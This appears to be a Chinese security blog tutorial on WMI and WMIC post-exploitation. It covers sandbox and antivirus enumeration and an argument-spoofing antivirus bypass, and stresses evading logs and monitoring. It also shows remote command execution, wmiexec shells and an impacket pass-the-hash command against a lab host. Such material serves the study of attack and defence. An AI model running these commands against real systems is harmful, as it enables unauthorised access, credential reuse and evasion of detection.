WMI是Windows操作系统上WBEM和CIM标准的实现,允许用户、管理员和开发人员(包括攻击者)在操作系统中对各种托管组件进行遍历、操作和交互。具体而言,WMI提供了一个抽象的、统一的面向对象模型,从而不再需要直接与许多不相关的API进行交互 WMI的一个重要特性是能够使用DCOM或WinRM协议与远程机器的WMI模块进行交互,它允许管理员轻松的获取 Windows 系统的配置信息。
简而言之,它是 Windows 中的一个核心管理技术,提供了一个抽象的、统一的面向对象模型。
ATTACK矩阵中也早有对此类攻击的介绍:
我们是可以通过powershell来调用WMI的
PowerShell有个Cmdlet调用WMI,可以结合"-class <WMI-Class>
"以及一些其他参数进行使用
简单用法:
使用Get-WmiObject -List
可以列出所有的 WMI对象的类
那么可以遵循powershell中Cmdlet动词加名词特性,获取一些我们想要的信息。
例如查询一下主机的CPU信息:
Get-WmiObject win32_processor
还可以进行简单的沙箱规避:
PS C:\Windows\system32> $a="SELECT * from win32_computersystem"
注意:这里的SELECT * from不是我们熟知的sql语句,他是WQL,是WMI中的查询语言,WQL的全称是WMI Query Language,简称为WQL,翻译成中文为Windows管理规范查询语言,他没有INSERT和UPDATE,它只有SELECT.
PS C:\Windows\system32> Get-WmiObject -query $a
如此利用wmi测试出这台机器是VM虚拟机。
为什么wmi会为我们提供统一的接口让我们去获取这些信息?
因为微软为wmi提供了一个类库,所以我们这些软件厂商,硬件厂商会把自己的相应软硬件信息准备成相应的类,然后把类放入库当中。
对于类来说,依据不同的软件或硬件,它有一个叫做命令空间的东西,通过命令空间的方式去组织类,比如命令空间会有一种层级的结构,下面我们进入wmimgmt.msc直观的去理解一下。
控制台打开wmimgmt.msc
查看一下wmi类库
添加本地计算机即可
连接右击属性可以发现给我们展现了当前计算机的相应信息
我们直接进wmi目录
C:\Windows\System32\wbem
我们可以看到很多mof文件,实际上这就是我们不同的产品组,它去开发自己类库的时候,最终封装成的mof文件。
我们现在回到控件,如此一目了然,他就是这种层级的类库形式,红色箭头是这些各种各样的命令空间,绿色箭头是在我们命名空间中相应的类。
WMIC
了解WMI基础的一些知识后,我们来认识一下热门的WMIC。
WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持,wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式
使用WMIC,你不但可以管理本地计算机,而且可以管理同一Windows域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC,只需要支持WMI即可。
具体实现就是这个wmic.exe ,他位于windows目录底下,是一个命令行程序。
C:\Windows\System32\wbem\WMIC.EXE
我们完全可以用cmd下来进行信息收集,例如查当前用户,机器在不在域内等等,为什么多此一举用WMI呢?
因为我们可能会遇到态势感知这个东西,我们在对方机器如果执行一些net user的操作,这段语句总要在网络中进行传输,如果这段语句被严格监控,那么只要触发他就可能会被报“您已经被攻击”。WMI它有好处的话就是他可以改变格式,可以加一些过滤信息,攻击者使用wmi来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。
wmic useraccount WHERE "Name='%username%'" set PasswordExpires=false //设置用户永不超期
wmic startup list brief //wmic获取自启信息
wmic volume list brief //wmic获取磁盘分区信息
wmic useraccount list full //wmic获取用户信息
wmic service list full //wmic获取服务信息
wmic SERVICE where name="dhcp" call stopservice //wmic关闭服务
wmic DESKTOPMONITOR get ScreenHeight,ScreenWidth //wmic获取屏幕分辨率
wmic process where processid="3652" delete //wmic关闭进程
wmic process 2345 call terminate //wmic关闭进程
wmic process where name="qq.exe" call terminate //wmic关闭进程
wmic qfe get Caption,Description,HotFixID,InstalledOn //wmic获取补丁安装时间
wmic process where name="ConsoleApplication.exe" get ExecutablePath //查看进程的位置
wmic.exe /node:ip /user:localhost\administrator /password:"password" PROCESS call create "cmd /c whoami"
type \\19\c$\Windows\res.dll //远程命令执行
wmic qfe get hotfixid //查看补丁情况
例如,枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
当然碰到某些杀软告警时候,可以进行一些简单参数欺骗来实现小小的bypass,思路颇多。
wmic process call create calc 简单弹个计算器被拦
wmic process call "create" "calc" 简单的参数欺骗后便弹出来了
使用WMIC连接远程主机需要具备条件:
远程服务器启动Windows Management Instrumentation
服务(默认开启)
135
端口未被过滤 [默认配置下目标主机防火墙开启将无法连接]
连接失败的常见错误号:
1.开启防火墙时,允许共享例外
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
2.组策略阻止administraotr远程访问时
错误:
代码 = 0x80070005
说明 = 拒绝访问。
设备 = Win32
3.IP安全策略阻止135时
错误:
代码 = 0x800706ba
说明 = RPC 服务器不可用。
设备 = Win32
4.禁用winmgmt服务时
错误:
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。
设备 = Win32
5.拒绝wbem目录权限,无法使用wmic的
列出远程主机进程:
列出了192.168.52.129这台主机的进程信息
wmic /node:192.168.52.129 /user:administrator /password:Password!! process list brief
远程创建进程:在目标机器192.168.52.129成功执行了系统命令并输出"tubai.txt",在目标指定目录可以发现文件。
wmic /node:192.168.52.129 /user:administrator /password:Password!! process call create "cmd.exe /c ipconfig > c:\tubai.txt"
wmiexec.vbs 自带的wmic没有回显,wmiexec.vbs 脚本利用WMI服务,通过写入临时文件并读取的方式获得回显。
cscript wmiexec.vbs /shell 192.168.52.129 administrator Password!!
可以看到,我们得到了一个半交互式shell。
impacket套件是通过445端口进行通信的,不是135端口。我们这次用windows下的impacket,已经有前人把他转成exe了。
Windows下
https://github.com/maaaaz/impacket-examples-windows
成功得到目标主机shell:
wmiexec.exe administrator:Password!!@192.168.52.129
哈希传递获得shell:
当抓到的密码NTLM解不开咋办呢?老生常谈的问题了,我们也可以利用impacket中wmiexec达到哈希传递的效果来获得一个shell。
命令格式为:
wmiexec.exe -hashes LM哈希:NTLM哈希 域名/用户名@目标IP
wmiexec.exe -hashes e52cac67419a9a22a67a448822b50c99:2b07f7b579bb97532a9eb37753765d8f tubai/administrator@192.168.52.129
https://www.se7ensec.cn/2020/07/12/
https://blog.csdn.net/qq\_27446553/article/details/46008473
随着powershell出现占据了系统管理主流地位,但不可否认WMI依旧是WINDOWS系统管理的利器,他在后渗透中的用法也不是我的一篇浅文能够概过的,本篇文章从wmi基础知识出发,延伸到我们所熟知的横向移动姿势,希望能给阅读的师傅带来帮助,若文章有任何问题望各位师傅斧正!